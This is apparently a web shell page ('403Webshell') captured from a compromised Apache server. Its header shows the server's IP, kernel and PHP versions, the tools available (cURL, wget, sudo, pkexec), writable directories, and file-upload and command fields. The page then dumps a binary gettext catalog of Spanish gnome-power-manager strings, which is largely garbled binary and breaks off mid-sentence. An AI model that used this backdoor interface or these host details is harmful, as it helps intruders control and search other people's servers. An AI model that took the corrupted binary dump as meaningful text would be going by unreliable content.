403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/locale/es/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/locale/es/LC_MESSAGES/gnome-power-manager.mo
Þ•
-ì "¡"§"­"²"»"À"Õ"á"ò"#####&#?#8\#•#ª#Â#)Ö#&$'$ E$f$h$n$
u$€$ˆ$—$¦$¿$Ö$Û$ï$ %'"%%J%.p%*Ÿ%Ê%	Ñ%Û%ó%
&-!&O&k&‚&4’&Ç&Ö&ê&ö&'$'
1'%<'"b'…'	Ž'˜'¤'»'Ò'Ù'é'ø'(((#((B(k(s(’(°( Í(%î()&)6)C)O)^)f)m)|))ž)±)<È)A*G*Z*l*|*ˆ*zŸ*+
4+?+F+V+h+	y+(ƒ+1¬+Þ+ã+÷+,,,
(,	3,=,U,Qg,¹,Á,PÄ,P-Nf-µ-Ô-ní-?\._œ.Qü.­N/Dü/gA02©07Ü0W1Xl1]Å1T#2@x2L¹2432;3Cn3Š²3?=4@}4C¾4}5_€5à5æ5÷56	'616
=6K6`6v6"6³6Ó6ñ6"7"'7J7_7	q77{7³7Â7Ñ7Ý7ô78818J8a8z8‡8!–8&¸8ß8ç8í8ô899.949@9O9d9g9o9…9&Ÿ9Æ9à9ì9ý9
::/":2R:…:Ž:ž:
»:Æ:á:ô:;#-;-Q;;„;Š;œ;¹;Ù;êö;ðá<Ò=ã=ò=>>'>6>J>	R>\>n>Œ>(•>)¾>è>í>5ú>	0?:?R?-Z?2ˆ?
»?
Æ?Ô?ã?ò?ÿ?@ ,@*M@x@@
Š@!˜@"º@&Ý@ A!%A%GA#mA‘A
—A¢AªA±A¹AÏAßAîAOþA
NBYBneBsÔB:HCwƒCLûCKHDr”D,Ex4Em­E|F’˜F˜+G”ÄGYH’êH`}IdÞIeCJn©JiKr‚KmõK‰cLPíLO>M®ŽMz=NV¸N&OA6OxO7úO82P"kP7ŽP8ÆPBÿP'BQLjQQ·Qk	RfuRrÜRxOSyÈStBT'·T ßTU†U’£UH6V…VEW‚KWÎW0ëWvX“X
 X®X»XÄXÉXÒXâXúX
YY*Y:YMY"ZY}YY•YœY¤Y´YÉYÑY	ÙYãY"ëYZ&&ZMZ}iZ$çZ"["/[ER[`˜[„ù[‚~\~]|€]pý]9n^‰¨^'2_?Z_@š_:Û_;`.R`/`$±`Ö`
ó`aGayMaÌÇaY”beîb"Tc wc˜cŸc·c½c/Ôcdd.d
7d	BdLd
[didvd£‚d&f,f2f7f@fEf\fhfyfŽf“f—f f¤f­fÆfIäf.gCg^g4tg)©g!Óg$õghh#h
,h7h@hPh`h/~h®h³hÎh)äh)i08i=ii+§iÓißi"èi"j.j?Fj(†j$¯jÔjGìj4kKkfk$}k#¢kÆkÙk9àk5l	Pl
Zlel$wl"œl¿lÅlÜlìlûlmm4m-Rm€mˆm¤mÁm ám%n(n
>nLncnpn‚n‹n—n²nÏnæn*o^.oVoäoþop"p.p½Kp	q
q,q5qHqeq	ƒq-q>»qúqr!r?rGrMr	_rirrrŽri¤r
ssfseƒs[és$EtjtŒƒtXupiu^ÚuØ9vKwm^weÌwT2xr‡x“úx{Žyc
zfnznÕz;D{<€{V½{Á|`Ö|a7}[™}Žõ}g„~ì~ó~
 *
KYj}—,­6Ú.€2@€s€,€:¼€#÷€3;B~”	ª´Ìß1ö(‚F‚e‚„‚™‚:¬‚,炃ƒ$ƒ,ƒ>ƒ&Wƒ~ƒ„ƒ“ƒ¢ƒ¼ƒ	¿ƒ!Ƀ'ëƒ=„ Q„r„„
š„¨„	Å„:Ï„-
…8…@…X…
u…$€…¥…º…Ú…*ö…H!†j†p†y†#’†&¶†5݆þ‡ˆ‰9‰Q‰q‰Ž‰®‰¾‰Û‰
ä‰ï‰*
Š	8Š7BŠ5zŠ°Š
µŠ=ÀŠþŠ(
‹3‹\<‹N™‹
è‹ó‹ŒŒ%Œ6ŒSŒ-kŒ1™ŒËŒ
Ҍ݌VøŒCO=“KÑ8Ž=VŽC”ŽØŽ
ߎíŽ
õŽ	
'<RhgÐܧ鵑CG‘}‹‘X	’Mb’}°’1.“½`“¯”¼Î”í‹•æy–×`—Þ8˜×™ï™€}šmþšzl›rç›Zœ‚Úœ§]WžL]žÆªžqŸuóŸ.i P˜ Šé Xt¡YÍ¡0'¢MX¢N¦¢Dõ¢):£Œd£~ñ£qp¤m⤂P¥Ó¥c¦xã¦,\§'‰§#±§²Õ§xˆ¨T©ŽV©Så©9ªǪ3⪌«£«·«Ϋã«ø«ý«¬)$¬N¬n¬w¬“¬¨¬À¬6Ó¬
­ ­
&­1­=­"Y­|­„­‘­¢­7±­*é­9®!N®—p®$¯"-¯(P¯Oy¯gɯ1°™Ï°¡i± ²ˆ¬²N5³»„³8@´Sy´TÍ´E"µFhµ4¯µ5äµ+¶)F¶p¶ƒ¶>‡¶‰Æ¶ÒP·l#¸ˆ¸¹7¹
V¹a¹{¹‚¹;¹
Ù¹ç¹
º
ºº"º1º=ºQº°PrWt!}éˆ#õ"mÕ—XÓ3tš¼´y­Nn†/%O³DPÂòœ)*S	Èv-Š:? ÔQ‡‹cíù¿%8/<‰œAYnHh†`ñׂ0,e–î# ({UÊMÿkÉyf'a6ƒ<FödÑ&G;·Ki¢‘¹¥=¡j¨ ªÚĈ®¬a_™5‚;à7r:áA2Î*ŠŸû
ú(N.‰Ë1.™LX
þÅ|OŽÁGï~MÀcZD_žs9bŒuø47›Æýq~÷^âm–µ}Q”RŒoçf\Jd¸±Ãæ{zZl&ŽšUSxØ“²üx
¶€‡HЄ‹CwEF9TƒèKu)$\€3l˜Û«LC„ßÜ]>’”62V5'Bgk—vIqzY0£ÞÝëäÍ,ôjì…¾^
	`@¤pÏð§Ò+![Çp›sIE»Ù=RV+½Wb˜Ö‘Ì?4º>1o“$’[-wg"hóT]©J•@8…i¦ê|¯ãBå•e%.1fV%.1fW%2im%2im%02i%2is%d second%d seconds%i %s %i %s%i hour%i hours%i minute%i minutes%i%%%id%id%02ih%ih%ih%02im%s %s remaining (%.1f%%)%s %s until charged (%.1f%%)%s %s until charged (%.1f%%)
Provides %s battery runtime%s charging (%.1f%%)%s discharging (%.1f%%)%s is fully charged%s of UPS backup power remaining (%.1f%%)%s of battery power remaining (%.1f%%)%s waiting to charge (%.1f%%)%s waiting to discharge (%.1f%%)01 day1 week10 minutes2 hours<b>Actions</b><b>Display</b><b>Notification Area</b>AC adapterAC adaptersACPIATA host controllerAction disallowedAdjusts laptop panel brightness.Allow Suspend and Hibernate in the menuAllow backlight brightness adjustmentAllows user to inhibit automatic power saving.Approximately <b>%s</b> remaining (%.1f%%)Ask meAttributeAutomatic sleep enabledAutomatic sleep inhibitedBattery DischargingBattery Fully ChargedBatteries Fully ChargedBattery critical low actionBattery critically lowBattery is fullBattery is fully charged.
Provides %s laptop runtimeBattery is lowBattery is very lowBattery lowBattery may be brokenBattery may be recalledBlank screenBrightnessCannot connect to gnome-power-managerCannot get laptop panel brightnessCapacityCapacity:Cell chargeCell phoneCell phonesCell phone battery lowChargeCharge accuracyCharge profileCharge rate:Charge time:ChargedChargingCheck CPU load before sleepingCheck the help file for common problems.CommandComputer will hibernate in %s.Computer will shutdown in %s.Computer will suspend in %s.Copyright © 2006 Benjamin CanouCopyright © 2006-2007 Richard HughesCorrection factorCurrent charge:Data length:DescriptionDesign charge:DetailsDeviceDevice HistoryDevice InformationDevice ProfileDevice informationDi_m display when idleDim the screen after a period of inactivity when on AC powerDim the screen after a period of inactivity when on battery powerDischarge accuracyDischarge profileDischarge time:DischargingDisplay DPMS activatedDisplay options for the notification icon. Valid options are "never", "low", "critical", "charge", "present" and "always".Do not show me this againDo nothingEnergyEnergy (design)Energy when emptyEnergy when fullExcellentExit after a small delay (for debugging)Exit after the manager has loaded (for debugging)FairGNOME Power ManagerGNOME Power PreferencesGeneralGoodGraph type:Hi_bernateHibernateHibernate button actionHibernate enabledHibernate support has been disabled. Contact your administrator for more details.HistoryIDIf a notification message should be displayed after suspend or hibernate failed.If a notification message should be displayed when the battery is fully charged.If a notification message should be displayed when the battery is getting low.If preferences should be shownIf sounds should be usedIf sounds should be used when the power is critically low, or inhibit requests have stopped the policy action.If the CPU load should be checked before doing the idle action.If the Suspend and Hibernate options should be allowed in the notification area drop down menu.If the battery event should occur when the lid is shut and the power disconnectedIf the battery lid close event should occur (for example 'Suspend when lid closed on battery') when the lid is previously shut and the AC power disconnected at a later time.If the learnt profile should be used to calculate the time remainingIf the learnt profile should be used to calculate the time remaining. Only turn this off for debugging.If the low-power mode should be enabled when on ACIf the low-power mode should be enabled when on batteryIf the screen brightness should be changed when switching between AC and battery power.If the screen should be dimmed to save power when the computer is idle when on AC power.If the screen should be dimmed to save power when the computer is idle when on battery power.If the screen should be reduced in brightness when the computer is on battery power.If the system low-power mode should be enabled when on AC power.If the system low-power mode should be enabled when on laptop battery power.If the user is authorized to hibernate the computer.If the user is authorized to suspend the computer.If the user should be notified when the AC adapter is disconnected.If time based notifications should be used. If set to false, then the percentage change is used instead, which may fix a broken ACPI BIOS.If we should show the low capacity warning for a broken batteryIf we should show the low capacity warning for a broken battery.If we should show the recalled battery warning for a broken batteryIf we should show the recalled battery warning for a broken battery. Set this to false only if you know your battery is okay.If you can see this text, your display server is broken and you should notify your distributor.ImageInstall problem!Intel wireless adaptorInterprocessor interruptInterruptKernel coreKernel moduleKeyboard battery lowLCD brightness : %d%%LCD brightness when on ACLCD dimming amount when on batteryLaptop batteryLaptop batteriesLaptop battery critically lowLaptop battery lowLaptop lid close action on batteryLaptop lid close action when on ACLaptop lid is closedLast full charge:Lead acidLicensed under the GNU General Public License Version 2Lid has closedLid has openedLithium IonLithium Iron PhosphateLithium PolymerLocal interruptsLock GNOME keyring on sleepLock screen on hibernateLock screen on suspendLock screen when blankedMake DefaultManual inhibitMethod used to blank screen on ACMethod used to blank screen on batteryMissingModelModel:MonitorMonitorsMouse battery lowNetwork route flush %sNeverNew task %sNickel CadmiumNickel metal hydrideNoNo dataNotify on a low powerNotify on a sleep failureNotify when AC adapter is disconnectedNotify when fully chargedOn AC PowerOn Battery PowerOn UPS PowerOn battery powerOnlineOnly display an icon when a battery is p_resentOnly display an icon when charging or _dischargingPDAPDAsPDA battery lowPS/2 keyboard/mouse/touchpadPercentagePercentage action is takenPercentage charge:Percentage considered criticalPercentage considered lowPlease see %s for more information.Plug in your AC adapter to avoid losing data.PoorPowerPower InformationPower Management PreferencesPower Manager Brightness AppletPower Manager Inhibit AppletPower Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.Power Manager is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.Power StatisticsPower _HistoryPower button actionPower plugged inPower unpluggedPredicted timePrediction accuracyPresentProcessorProcessor WakeupsProcessor wakeups per second:Product:Put _display to sleep when inactive for:Put computer to _sleep when inactive for:RateRechargeableReduce the backlight brightness when on battery powerRefreshedRescheduling interruptsResumedSeconds of inactivity to spin down when on ACSeconds of inactivity to spin down when on batterySerial ATASerial numberSerial number:Session activeSession idleSet display _brightness to:Show data pointsShow extra debugging informationShow version of installed program and exitShutdownSleep %sSleep problemSleep timeout computer when on ACSleep timeout computer when on UPSSleep timeout computer when on batterySleep timeout display when on ACSleep timeout display when on UPSSleep timeout display when on batterySp_in down hard disks when possibleStateStatisticsStatus:SupplySuspendSuspend button actionSuspend enabledSuspend failedSuspend startedSuspend support has been disabled. Contact your administrator for more details.TechnologyTechnology:The DPMS method used to blank the screen when on AC power. Possible values are "standby", "suspend" and "off".The DPMS method used to blank the screen when on battery power. Possible values are "standby", "suspend" and "off".The PDA attached to this computer is low in power (%.1f%%)The PDA attached to this computer is very low in power (%.1f%%). This device will soon stop functioning if not charged.The UPS is below the critical level and this computer is about to hibernate.The UPS is below the critical level and this computer is about to shutdown.The UPS is below the critical level and this computer will <b>power-off</b> when the UPS becomes completely empty.The URI to show to the user on sleep failureThe action to take when the UPS is critically low. Possible values are "hibernate", "suspend", "shutdown" and "nothing".The action to take when the UPS is low. Possible values are "hibernate", "suspend", "shutdown" and "nothing".The action to take when the battery is critically low. Possible values are "hibernate", "suspend", "shutdown" and "nothing".The action to take when the laptop lid is closed and the laptop is on AC power. Possible values are "suspend", "hibernate", "blank" and "nothing".The action to take when the laptop lid is closed and the laptop is on battery power. Possible values are "suspend", "hibernate", "blank", and "nothing".The action to take when the system hibernate button is pressed. Possible values are "suspend", "hibernate", "interactive", "shutdown" and "nothing".The action to take when the system power button is pressed. Possible values are "suspend", "hibernate", "interactive", "shutdown" and "nothing".The action to take when the system suspend button is pressed. Possible values are "suspend", "hibernate", "interactive", "shutdown" and "nothing".The amount of time in seconds before the display goes to sleep when the computer is on AC power.The amount of time in seconds the computer on AC power needs to be inactive before it goes to sleep.The amount of time in seconds the computer on UPS power needs to be inactive before it goes to sleep.The amount of time in seconds the computer on UPS power needs to be inactive before the display goes to sleep.The amount of time in seconds the computer on battery power needs to be inactive before it goes to sleep.The amount of time in seconds the computer on battery power needs to be inactive before the display goes to sleep.The amount to dim the brightness of the display when on battery power. Possible values are between 0 and 100.The battery in your computer may have been recalled by %s and you may be at risk.

For more information visit the battery recall website.The battery is below the critical level and this computer is about to hibernate.The battery is below the critical level and this computer is about to shutdown.The battery is below the critical level and this computer is about to suspend.<br><b>NOTE:</b> A small amount of power is required to keep your computer in a suspended state.The battery is below the critical level and this computer will <b>power-off</b> when the battery becomes completely empty.The brightness of the display when on AC power. Possible values are between 0 and 100.The brightness of the screen when idleThe cell phone attached to this computer is low in power (%.1f%%)The configuration defaults for GNOME Power Manager have not been installed correctly.
Please contact your computer administrator.The default amount of time to dim the screen after idleThe default amount of time to dim the screen after idle.The default configuration version.The default graph type to show in the statistics windowThe default graph type to show in the statistics window.The maximum duration of time displayed on the x-axis of the graph.The maximum time displayed on the graphThe number of seconds of inactivity to spin down the disks when on AC power.The number of seconds of inactivity to spin down the disks when on battery power.The percentage of the battery when it is considered critical. Only valid when use_time_for_policy is false.The percentage of the battery when it is considered low. Only valid when use_time_for_policy is false.The percentage of the battery when the critical action is performed. Only valid when use_time_for_policy is false.The time remaining in seconds of the battery when critical action is taken. Only valid when use_time_for_policy is true.The time remaining in seconds of the battery when it is considered critical. Only valid when use_time_for_policy is true.The time remaining in seconds of the battery when it is considered low. Only valid when use_time_for_policy is true.The time remaining when action is takenThe time remaining when criticalThe time remaining when lowThe type of sleeping that should be performed when the computer is inactive. Possible values are "hibernate", "suspend" and "nothing".The version of the installed version of the schema. Do not edit this value, it is used so that configure changes between versions can be detected.The wireless keyboard attached to this computer is low in power (%.1f%%)The wireless keyboard attached to this computer is very low in power (%.1f%%). This device will soon stop functioning if not charged.The wireless mouse attached to this computer is low in power (%.1f%%)The wireless mouse attached to this computer is very low in power (%.1f%%). This device will soon stop functioning if not charged.There is no data to display.There is no detailed information for this deviceThis is the laptop panel screen brightness used when the session is idle. Only valid when use_time_for_policy is true.Time elapsedTime to emptyTime to fullTimer %sTypeUPSUPSsUPS DischargingUPS critical low actionUPS critically lowUPS lowUPS low power actionUSB activity %sUnknown technologyUnknown timeUse gnome-screensaver lock settingUse smoothed lineValueVendorVendor:Visit help pageVisit recall websiteVoltageWait %sWakeup %sWakeupsWhen UPS power is _critically low:When UPS power is l_ow:When battery po_wer is critically low:When laptop lid is cl_osed:When sleep fails we can show the user a button to help fix the situation. Leave this blank if the button should not be shown.When the _suspend button is pressed:When the power _button is pressed:When to show the notification iconWhether NetworkManager should be connected and disconnected on sleep.Whether NetworkManager should disconnect before suspending or hibernating and connect on resume.Whether the GNOME keyring is locked before the computer enters hibernate. This means the keyring will have to be unlocked on resume.Whether the GNOME keyring is locked before the computer enters suspend. This means the keyring will have to be unlocked on resume.Whether the screen is locked when the computer wakes up from a hibernate. Only used if lock_use_screensaver_settings is false.Whether the screen is locked when the computer wakes up from a suspend. Only used if lock_use_screensaver_settings is false.Whether the screen is locked when the screen is turned off. Only used if lock_use_screensaver_settings is false.Whether to hibernate, suspend or do nothing when inactiveWhether to use the screen lock setting of gnome-screensaver to decide if the screen is locked after a hibernate, suspend or blank screen.Whether to use time-based notificationsWhether we should show the axis labels in the statistics windowWhether we should show the axis labels in the statistics window.Whether we should show the events in the statistics windowWhether we should show the events in the statistics window.Whether we should smooth the data in the graphWhether we should smooth the data in the graph.Wireless keyboardWireless keyboardsWireless mouseWireless miceWork queue %sYesYou have approximately <b>%s</b> of remaining UPS backup power (%.1f%%)You have approximately <b>%s</b> of remaining UPS power (%.1f%%). Restore AC power to your computer to avoid losing data.You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
02110-1301, USA.Your battery has a very low capacity (%1.1f%%), which means that it may be old or broken.Your cell phone is very low in power (%.1f%%). This device will soon stop functioning if not charged.Your computer failed to hibernate.Your computer failed to suspend._About_Always display an icon_Help_Never display an icon_Only display an icon when battery power is low_Preferences_Reduce backlight brightness_Suspendhourhoursinhibitedminuteminutesnot inhibitedscreen awakescreen idleProject-Id-Version: gnome-power-manager.HEAD
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2009-10-29 07:25-0400
PO-Revision-Date: 2009-08-14 14:44+0200
Last-Translator: Jorge González <jorgegonz@svn.gnome.org>
Language-Team: Español <gnome-es-list@gnome.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: KBabel 1.11.4
Plural-Forms:  nplurals=2; plural=(n != 1);
%.1fV%.1fW%2im%2im%02i%2is%d segundo%d segundos%i %s %i %s%i hora%i horas%i minuto%i minutos%i%%%id%id%02ih%ih%ih%02im%s %s restantes (%.1f%%)%s %s hasta su carga (%.1f%%)%s %s hasta su carga (%.1f%%)
Proporciona %s de tiempo de uso de batería%s cargando (%.1f%%)%s descargándose (%.1f%%)%s totalmente cargada%s de energía de respaldo del SAI restante (%.1f%%)%s de energía batería restante (%.1f%%)%s esperando para cargar (%.1f%%)%s esperando para descargar (%.1f%%)01 día1 semana10 minutos2  horas<b>Acciones</b><b>Pantalla</b><b>Ãrea de notificación</b>Adaptador de corrienteAdaptadores de corrienteACPIControlador ATA del equipoAcción deshabilitadaAjusta el brillo del panel del portátil.Permitir Suspender e Hibernar en el menúPermitir el ajuste del brillo de la luz de fondoPermite al usuario inhibir el ahorro de energía automático.Le queda aproximadamente <b>%s</b> (%.1f%%)PreguntarmeAtributoPaso a reposo automático activadoPaso a reposo automático inhibidoDescargando la bateríaBatería completamente cargadaBaterías completamente cargadasAcción para batería críticamente bajaLa batería está críticamente bajaLa batería está llenaLa batería está totalmente cargada
Proporciona %s de uso de portátilLa batería está bajaLa batería está muy bajaLa batería está bajaLa batería podría estar estropeadaLa batería podría estar reclamadaOscurecer pantallaBrilloNo es posible conectar con el Gestor de energía de GNOMENo se puede obtener el brillo del panel del portátilCapacidadCapacidad:Carga de la celdaTeléfono móvilTeléfonos móvilesBatería del teléfono móvil bajaCargaPrecisión de la cargaPerfil de cargaTasa de carga:Tiempo de carga:CargadaCargandoComprobar la carga de la CPU antes de pasar a reposoConsulte la ayuda para ver problemas comunes.ComandoEl equipo hibernará en %s.El equipo se apagará en %s.El equipo se suspenderá en %s.Copyright © 2006 Benjamin CanouCopyright © 2006-2007 Richard HughesFactor de correcciónCarga actual:Longitud de los datos:DescripciónCarga de diseño:DetallesDispositivoHistórico del dispositivoInformación del dispositivoPerfil del dispositivoInformación del dispositivoA_tenuar la pantalla cuando esté inactivaAtenuar la pantalla tras un período de inactividad cuando se esté con adaptador de corrienteAtenuar la pantalla tras un período de inactividad cuando se esté usando la bateríaPrecisión de la descargaPerfil descargaTiempo de descarga:DescargandoDPMS de la pantalla activadoMostrar opciones para el icono de notificación. Las opciones válidas son "never" (nunca), "low" (baja), "critical" (crítico), "charge" (carga), "present" (presente) y "always" (siempre).No mostrar esto másNo hacer nadaEnergíaEnergía (diseño)Energía cuando está vacíaEnergía cuando está cargadaExcelenteSalir tras un pequeño retardo (para depurar)Salir después de que el gestor se haya cargado (para depurar)NormalGestor de energía de GNOMEPreferencias de energía de GNOMEGeneralBuenoTipo de gráfica:_HibernarHibernarAcción del botón hibernarHibernación activadaEl soporte de hibernación ha sido desactivado. Contacte con su administrador para obtener más detalles.HistóricoIDIndica si debe mostrarse un mensaje de notificación después de fallar la suspensión o hibernación.Indica si se debe mostrar un mensaje de notificación cuando la batería esté completamente cargada.Indica si se debe mostrar un mensaje de notificación cuando la batería se esté agotando.Si se deben mostrar las preferenciasSi se deben usar sonidosSi se deben usar sonidos cuando la energía esté críticamente baja, o las peticiones de inhibición han parado la acción de la política.Indica si se debe comprobar la carga de la CPU antes de hacer la acción de inactividad.Indica si se permiten o no las opciones Suspender e Hibernar en el menú desplegable del área de notificación.Indica si debe ocurrir el evento de batería cuando la tapa se cierre y el cable se desconecteIndica si debe ocurrir el evento de cierre de tapa con batería (por ejemplo «Suspender cuando la tapa se cierre con batería») cuando la tapa se cierre primero y se desconecte la adaptador de corriente más tarde.Indica si el perfil aprendido se debe usar para calcular el tiempo restanteIndica si el perfil aprendido se debe usar para calcular el tiempo restante. Desactívelo sólo para depurar.Indica si se debe activar el modo de bajo consumo cuando se esté conectado al adaptador de corrienteIndica si se debe activar el modo de bajo consumo cuando se esté usando la bateríaIndica si se debe cambiar el brillo de la pantalla cuando se cambia entre el adaptador de corriente y la batería.Indica si se debe atenuar el brillo de la pantalla para ahorrar energía cuando el equipo esté inactivo y con el adaptador de corriente conectado.Indica si se debe atenuar el brillo de la pantalla para ahorrar energía cuando el equipo esté inactivo y con la batería.Indica si se debe atenuar el brillo de la pantalla cuando el equipo esté funcionando con batería.Indica si se debe activar el modo de bajo consumo cuando se esté conectado al adaptador de corriente.Indica si se debe activar el modo de bajo consumo cuando se esté en un portátil funcionando con la batería.Indica si el usuario está autorizado a hibernar el equipo.Indica si el usuario está autorizado a suspender el equipo.Indica si se debe notificar al usuario cuando el adaptador de corriente se desconecte.Indica si se debe usar o no las notificaciones basadas en tiempo. Si se desactiva, entonces se usa el porcentaje de cambio, lo cual puede solucionar problemas con algunas BIOS ACPI defectuosas.Indica si se debe mostrar la advertencia de baja capacidad de carga para una batería defectuosaIndica si se debe mostrar la advertencia de baja capacidad de carga para una batería defectuosa.Indica si se debe mostrar la advertencia de batería reclamada para una batería defectuosaSi se debe mostrar la advertencia de batería reclamada para una batería defectuosa. Desactive esto sólo si sabe que su batería está bien.Si puede ver este texto su servidor de pantalla está roto y debería notificárselo a su distribuidor.ImagenProblema de instalación.Adaptador inalámbrico IntelInterrupción entre procesadoresInterrupciónCore del núcleoMódulo del kernelBatería del teclado bajaBrillo del LCD : %d%%Brillo del LCD con el adaptador de corrienteAtenuación del LCD cuando se esté usando la bateríaBatería de portátilBaterías de portátilesLa batería del portátil está críticamente bajaBatería del portátil bajaAcción al cerrar la tapa usando la bateríaAcción al cerrar la tapa usando el adaptador de corrienteLa tapa del portátil está cerradaÚltima carga completa:Plomo y ácidoLicenciado bajo la Licencia Pública General GNU Versión 2Se ha cerrado la tapaSe ha abierto la tapaIon litioFosfato de litio hierroPolímero de litioInterrupciones localesBloquear el depósito de claves al pasar a reposoBloquear pantalla al hibernarBloquear pantalla al suspenderBloquear pantalla al oscurecerHacer predeterminadoInhibición manualMétodo de oscurecimiento usando el adaptador de corrienteMétodo de oscurecimiento usando la bateríaFaltanteModeloModelo:MonitorMonitoresBatería del ratón bajaLimpieza de las rutas de la red «%s»NuncaTarea nueva %sNíquel cadmioHíbrido de níquel metalNoSin datosNotificar cuando quede poca cargaNotificar cuando falle el paso a reposoNotificar cuando el adaptador de corriente esté desconectadoNotificar al cargarse totalmenteCon adaptador de corrienteCon bateríaCon SAI (UPS)Cuando se esté con bateríaEn líneaSólo mostrar un icono cuando esté presente una _bateríaSólo mostrar un icono al cargar o _descargarPDAPDABatería de la PDA bajaTeclado/ratón/touchpad PS/2PorcentajePorcentaje cuando se toma la acciónPorcentaje de carga:Porcentaje considerado críticoPorcentaje considerado bajoPara obtener más información consulte %sConecte su adaptador de adaptador de corriente para evitar perder datos.PobreEnergíaInformación de energíaPreferencias del Gestor de energíaMiniaplicación de gestión del brilloMiniaplicación de inhibición del gestor de energíaEl Gestor de energía se distribuye con la esperanza de que le sea útil,
pero SIN NINGUNA GARANTÃA; sin incluso la garantía implícita de
MERCANTILIDAD o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Vea la
Licencia Pública General GNU para más detalles.El Gestor de energía es software libre, puede redistribuirlo y/o
modificarlo bajo los términos de la Licencia Pública General GNU
tal como la publica la Free Software Foundation; ya sea en la versión 2
de la Licencia, o (a su opción) cualquier versión posterior.Estadísticas de energía_Histórico de energíaAcción del botón de encendidoCable de corriente conectadoCable de corriente desconectadoTiempo estimadoPrecisión de la estimaciónPresenteProcesadorRecuperaciones del procesadorRecuperaciones del procesador por segundo:Producto:Poner la _pantalla en reposo si está inactivo durante:Poner el equipo en _reposo al estar inactivo durante:TasaRecargableReducir el brillo de fondo cuando se esté usando la bateríaActualizadoPlanificando de nuevo las interrupcionesResumidoSegundos de inactividad para reducir la velocidad de rotación con el adaptador de corrienteSegundos de inactividad para reducir la velocidad de rotación con la bateríaSerial ATANúmero de serieNúmero de serie:Sesión activaSesión inactivaPoner _brillo del monitor a:Mostrar puntos de datosMuestra información adicional de depuraciónMuestra la versión instalada del programa y saleApagar%s dormidaProblema al pasar a reposoTiempo para poner en reposo el equipo cuando se está usando el adaptador de corrienteTiempo para poner en reposo el equipo cuando se está usando un SAITiempo para pasar a reposo cuando se está usando la bateríaTiempo para pasar a reposo cuando se está usando el adaptador de corrienteTiempo para pasar a reposo cuando se está usando un SAITiempo para pasar a reposo cuando se está usando la bateríaRe_ducir la velocidad de rotación de los discos cuando sea posibleEstadoEstadísticasEstado:SuministroSuspenderAcción del botón suspenderSuspensión activadaFalló la suspensiónSuspensión iniciadaEl soporte de suspensión ha sido desactivado. Contacte con su administrador para obtener más detalles.TecnologíaTecnología:El método DPMS usado para oscurecer la pantalla con el adaptador de corriente. Los valores posibles son "standby" (en espera), "suspend" (suspender) y "off" (apagar).El método DPMS usado para oscurecer la pantalla cuando se esté funcionando con la batería. Los valores posibles son "standby" (en espera), "suspend" (suspender) y "off" (apagar).La PDA conectada a este equipo se está quedando sin carga (%.1f%%)La PDA conectada a este equipo está agotando su carga (%.1f%%). Este dispositivo pronto dejará de funcionar si no se carga.El SAI (UPS) está por debajo del nivel crítico y este equipo se va a poner a hibernar.El SAI (UPS) está por debajo de un nivel crítico y este equipo se apagará.EL SAI (UPS) está por debajo de un nivel crítico y este equipo se <b>apagará</b> cuando el SAI esté completamente vacío.El URI que mostrar al usuario al fallar el reposoLa acción que se realizará cuando el SAI (UPS) esté críticamente bajo. Los valores posibles son "hibernate" (hibernar), "suspend" (suspender), "shutdown" (apagar) y "nothing" (ninguno).La acción que se realizará cuando el SAI (UPS) esté bajo. Los valores posibles son "hibernate" (hibernar), "suspend" (suspender), "shutdown" (apagar) y "nothing" (ninguno).La acción que se realizará cuando la batería esté críticamente baja. Los valores válidos son "hibernate" (hibernar), "suspend" (suspender), "shutdown" (apagar) y "nothing" (ninguno).La acción que se realizará cuando se cierra la tapa del portátil y se esté conectado a adaptador de corriente. Los valores válidos son "suspend" (suspender), "hibernate" (hibernar), "blank" (pantalla en negro) y "nothing" (ninguno).La acción que se realizará cuando se cierra la tapa del portátil y se esté funcionando con la batería. Los valores válidos son "suspend" (suspender), "hibernate" (hibernar), "blank" (pantalla en negro) y "nothing" (ninguno).La acción que se realizará cuando se pulsa el botón de hibernación. Los valores válidos son "suspend" (suspender), "hibernate" (hibernar), "interactive" (interactivo), "shutdown" (apagar) y "nothing" (ninguno).La acción que se realizará cuando se pulsa el botón de apagado del sistema. Los valores válidos son "suspend" (suspender), "hibernate" (hibernar), "interactive" (interactivo), "shutdown" (apagar) y "nothing" (ninguno).La acción que se realizará cuando se pulsa el botón de suspensión. Los valores válidos son "suspend" (suspender), "hibernate" (hibernar), "interactive" (interactivo) y "shutdown" (apagar) y "nothing" (ninguno).Los segundos que el equipo necesita estar inactivo cuando se encuentra usando el adaptador de corriente antes de poner la pantalla en reposo.Los segundos que el equipo necesita estar inactivo cuando se encuentra usando el adaptador de corriente antes de pasar a reposo.Los segundos que el equipo necesita estar inactivo cuando se encuentra usando un SAI antes de pasar a reposo.Los segundos que el equipo necesita estar inactivo cuando se encuentra usando un SAI antes de poner la pantalla en reposo.Los segundos que el equipo necesita estar inactivo cuando se encuentra usando la batería antes de pasar a reposo.Los segundos que el equipo necesita estar inactivo cuando se encuentra usando la batería antes de poner la pantalla en reposo.La atenuación que aplicar al brillo de la pantalla cuando se esté usando la batería. Los valores válidos están entre 0 y 100.La batería en su equipo quizá haya sido reclamada por %s y usted puede estar en riesgo.

